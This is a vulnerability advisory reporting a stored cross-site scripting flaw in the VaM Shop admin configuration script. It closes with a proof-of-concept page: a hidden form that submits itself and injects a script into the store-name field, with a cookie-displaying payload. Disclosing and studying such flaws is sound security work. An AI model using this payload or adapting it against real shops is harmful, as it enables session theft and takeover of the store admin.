XSS vulnerability in VaM Shop

Vulnerability ID: HTB22778
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_vam_shop.html
Product: VaM Shop
Vendor: Vamsoft ( http://vamshop.ru/ )
Vulnerable Version: 1,60 and probably prior versions
Vendor Notification: 28 December 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "admin/configuration.php" script to properly sanitize user-supplied input in "STORE_NAME" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/configuration.php?gID=1&amp;action=save&quot; method="post" name="main">
<input type="hidden" name="STORE_NAME" value='My Shop"><script>alert(document.cookie)</script>'>
<input type="hidden" name="STORE_OWNER" value="VaM Shop">
<input type="hidden" name="STORE_OWNER_EMAIL_ADDRESS" value="[email protected]">
<input type="hidden" name="EXPECTED_PRODUCTS_SORT" value="desc">
<input type="hidden" name="EXPECTED_PRODUCTS_FIELD" value="date_expected">
<input type="hidden" name="USE_DEFAULT_LANGUAGE_CURRENCY" value="false">
<input type="hidden" name="DISPLAY_CART" value="true">
<input type="hidden" name="ADVANCED_SEARCH_DEFAULT_OPERATOR" value="and">
<input type="hidden" name="STORE_NAME_ADDRESS" value="Address, Country">
<input type="hidden" name="SHOW_COUNTS" value="true">
<input type="hidden" name="CURRENT_TEMPLATE" value="vamshop">
</form>
<script>
document.main.submit();
</script>